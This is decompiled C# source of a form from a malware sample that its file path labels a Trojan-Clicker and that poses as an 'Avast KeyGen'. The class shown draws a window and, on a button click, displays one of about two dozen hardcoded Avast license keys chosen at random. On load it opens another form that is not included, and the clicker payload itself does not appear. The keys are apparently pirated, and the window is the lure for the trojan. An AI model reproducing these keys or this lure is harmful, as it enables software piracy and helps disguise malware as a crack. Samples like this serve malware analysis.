// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.AboutBox1
// Assembly: Avast KeyGen, Version=7.3.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F14EBA9D-BE9A-4819-8979-4625F2144CC9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Clicker.MSIL.Distract.a-5324c170cfa27456520356837d993e06f5173d717f0a4fd5a8f7a9a04cbf9c9b.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
using WindowsApplication1.My;

namespace WindowsApplication1
{
  [DesignerGenerated]
  public sealed class AboutBox1 : Form
  {
    private IContainer components;
    [AccessedThroughProperty("Button1")]
    private Button _Button1;
    [AccessedThroughProperty("TextBox1")]
    private TextBox _TextBox1;
    [AccessedThroughProperty("Label2")]
    private Label _Label2;
    [AccessedThroughProperty("Button2")]
    private Button _Button2;

    [DebuggerNonUserCode]
    public AboutBox1()
    {
      this.Load += new EventHandler(this.AboutBox1_Load);
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (AboutBox1));
      this.Button1 = new Button();
      this.TextBox1 = new TextBox();
      this.Label2 = new Label();
      this.Button2 = new Button();
      this.SuspendLayout();
      this.Button1.Font = new Font("Space Bd BT", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
      this.Button1.ForeColor = Color.DodgerBlue;
      Button button1_1 = this.Button1;
      Point point1 = new Point(11, 176);
      Point point2 = point1;
      button1_1.Location = point2;
      this.Button1.Name = "Button1";
      Button button1_2 = this.Button1;
      Size size1 = new Size(383, 26);
      Size size2 = size1;
      button1_2.Size = size2;
      this.Button1.TabIndex = 0;
      this.Button1.Text = "Generate";
      this.Button1.UseVisualStyleBackColor = true;
      this.TextBox1.BackColor = Color.Black;
      this.TextBox1.Font = new Font("Space Bd BT", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
      this.TextBox1.ForeColor = Color.Azure;
      TextBox textBox1_1 = this.TextBox1;
      point1 = new Point(12, 208);
      Point point3 = point1;
      textBox1_1.Location = point3;
      this.TextBox1.Multiline = true;
      this.TextBox1.Name = "TextBox1";
      TextBox textBox1_2 = this.TextBox1;
      size1 = new Size(382, 26);
      Size size3 = size1;
      textBox1_2.Size = size3;
      this.TextBox1.TabIndex = 1;
      this.Label2.AutoSize = true;
      this.Label2.BackColor = Color.MidnightBlue;
      this.Label2.Font = new Font("Space Bd BT", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
      this.Label2.ForeColor = Color.Azure;
      Label label2_1 = this.Label2;
      point1 = new Point(8, 237);
      Point point4 = point1;
      label2_1.Location = point4;
      this.Label2.Name = "Label2";
      Label label2_2 = this.Label2;
      size1 = new Size(394, 13);
      Size size4 = size1;
      label2_2.Size = size4;
      this.Label2.TabIndex = 4;
      this.Label2.Text = "Made By : Cyp3rW0lf , V4P|Raz , DeScrypter , 1mortal , Humanidea1971.";
      this.Button2.BackColor = Color.DodgerBlue;
      this.Button2.Font = new Font("Space Bd BT", 12f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
      this.Button2.ForeColor = Color.White;
      Button button2_1 = this.Button2;
      point1 = new Point(369, 3);
      Point point5 = point1;
      button2_1.Location = point5;
      this.Button2.Name = "Button2";
      Button button2_2 = this.Button2;
      size1 = new Size(33, 31);
      Size size5 = size1;
      button2_2.Size = size5;
      this.Button2.TabIndex = 5;
      this.Button2.Text = "X";
      this.Button2.UseVisualStyleBackColor = false;
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.BackColor = Color.White;
      this.BackgroundImage = (Image) WindowsApplication1.My.Resources.Resources.windows_7_wallpaper_by_p_com_copy;
      this.BackgroundImageLayout = ImageLayout.Stretch;
      size1 = new Size(406, (int) byte.MaxValue);
      this.ClientSize = size1;
      this.Controls.Add((Control) this.Button2);
      this.Controls.Add((Control) this.Label2);
      this.Controls.Add((Control) this.TextBox1);
      this.Controls.Add((Control) this.Button1);
      this.FormBorderStyle = FormBorderStyle.None;
      this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
      this.MaximizeBox = false;
      this.MinimizeBox = false;
      this.Name = nameof (AboutBox1);
      this.Padding = new Padding(9);
      this.ShowInTaskbar = false;
      this.StartPosition = FormStartPosition.CenterParent;
      this.Text = "(Avast) Pro -[KeyGen]-";
      this.ResumeLayout(false);
      this.PerformLayout();
    }

    internal virtual Button Button1
    {
      [DebuggerNonUserCode] get => this._Button1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Button1_Click);
        if (this._Button1 != null)
          this._Button1.Click -= eventHandler;
        this._Button1 = value;
        if (this._Button1 == null)
          return;
        this._Button1.Click += eventHandler;
      }
    }

    internal virtual TextBox TextBox1
    {
      [DebuggerNonUserCode] get => this._TextBox1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
    }

    internal virtual Label Label2
    {
      [DebuggerNonUserCode] get => this._Label2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
    }

    internal virtual Button Button2
    {
      [DebuggerNonUserCode] get => this._Button2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Button2_Click);
        if (this._Button2 != null)
          this._Button2.Click -= eventHandler;
        this._Button2 = value;
        if (this._Button2 == null)
          return;
        this._Button2.Click += eventHandler;
      }
    }

    private void AboutBox1_Load(object sender, EventArgs e)
    {
      MyProject.Forms.Form1.Show();
      this.ShowInTaskbar = false;
    }

    private void OKButton_Click(object sender, EventArgs e)
    {
    }

    private void Button1_Click(object sender, EventArgs e)
    {
      this.TextBox1.Text = Conversions.ToString(Conversion.Int(VBMath.Rnd() * 12f));
      string text = this.TextBox1.Text;
      if (Operators.CompareString(text, Conversions.ToString(0), false) == 0)
        this.TextBox1.Text = "W57510587H4600A1106-TEW5V316";
      else if (Operators.CompareString(text, Conversions.ToString(1), false) == 0)
        this.TextBox1.Text = "W75951546H5400A1106-1JNSMD2H";
      else if (Operators.CompareString(text, Conversions.ToString(2), false) == 0)
        this.TextBox1.Text = "S4648359R9965A0911-VY64X64X";
      else if (Operators.CompareString(text, Conversions.ToString(3), false) == 0)
        this.TextBox1.Text = "S1717494R9947A0912-EEX4PMH2";
      else if (Operators.CompareString(text, Conversions.ToString(4), false) == 0)
        this.TextBox1.Text = "S1375554R9947A0910-WAEU1MU4";
      else if (Operators.CompareString(text, Conversions.ToString(5), false) == 0)
        this.TextBox1.Text = "S5031367R9972A0912-92WUAMEZ";
      else if (Operators.CompareString(text, Conversions.ToString(6), false) == 0)
        this.TextBox1.Text = "S3117682R9962A0912-ZJVXJCR3";
      else if (Operators.CompareString(text, Conversions.ToString(7), false) == 0)
        this.TextBox1.Text = "S8914670R9954A0910-168RA8U4";
      else if (Operators.CompareString(text, Conversions.ToString(8), false) == 0)
        this.TextBox1.Text = "S3564026R9961A0910-EHW91PYP";
      else if (Operators.CompareString(text, Conversions.ToString(9), false) == 0)
        this.TextBox1.Text = "S5018912R9963A0911-JHCC3BJC";
      else if (Operators.CompareString(text, Conversions.ToString(10), false) == 0)
        this.TextBox1.Text = "S3595221R9940A0910-DSEP70F1";
      else if (Operators.CompareString(text, Conversions.ToString(11), false) == 0)
        this.TextBox1.Text = "S6948697R9950A0910-T3W734HE";
      else if (Operators.CompareString(text, Conversions.ToString(12), false) == 0)
        this.TextBox1.Text = "S1829591R9977A0910-M259SV3X";
      else if (Operators.CompareString(text, Conversions.ToString(13), false) == 0)
        this.TextBox1.Text = "S4052844R9947A0910-DT52DW7K";
      else if (Operators.CompareString(text, Conversions.ToString(14), false) == 0)
        this.TextBox1.Text = "S9448143R9963A0910-LM9LZ83E";
      else if (Operators.CompareString(text, Conversions.ToString(15), false) == 0)
        this.TextBox1.Text = "S7081886R9964A0912-2D1EKD69";
      else if (Operators.CompareString(text, Conversions.ToString(16), false) == 0)
        this.TextBox1.Text = "S6654053R9975A0911-BBSWY8XU";
      else if (Operators.CompareString(text, Conversions.ToString(17), false) == 0)
        this.TextBox1.Text = "S5073670R9951A0911-KHRWF1KC";
      else if (Operators.CompareString(text, Conversions.ToString(18), false) == 0)
        this.TextBox1.Text = "S2502250R9971A0912-7RPFUM3M";
      else if (Operators.CompareString(text, Conversions.ToString(19), false) == 0)
        this.TextBox1.Text = "S9431872R9978A0910-CSXU36YZ";
      else if (Operators.CompareString(text, Conversions.ToString(20), false) == 0)
        this.TextBox1.Text = "S7502701M8750S1169-D0KDBB8H";
      else if (Operators.CompareString(text, Conversions.ToString(21), false) == 0)
        this.TextBox1.Text = "C08998884R9900N5999-SS7CTHUM";
      else if (Operators.CompareString(text, Conversions.ToString(22), false) == 0)
        this.TextBox1.Text = "C38799999R9900F6961-ZYYBS2B4";
      else if (Operators.CompareString(text, Conversions.ToString(23), false) == 0)
        this.TextBox1.Text = "C97897897R9900H8577-DS7BFPTD";
      else if (Operators.CompareString(text, Conversions.ToString(24), false) == 0)
      {
        this.TextBox1.Text = "W75344574R9900W7584-6FJL9HF1";
      }
      else
      {
        if (Operators.CompareString(text, Conversions.ToString(25), false) != 0)
          return;
        this.TextBox1.Text = "S89883292R9900Y9999-MT09NNDE";
      }
    }

    private void Button2_Click(object sender, EventArgs e) => this.Hide();
  }
}
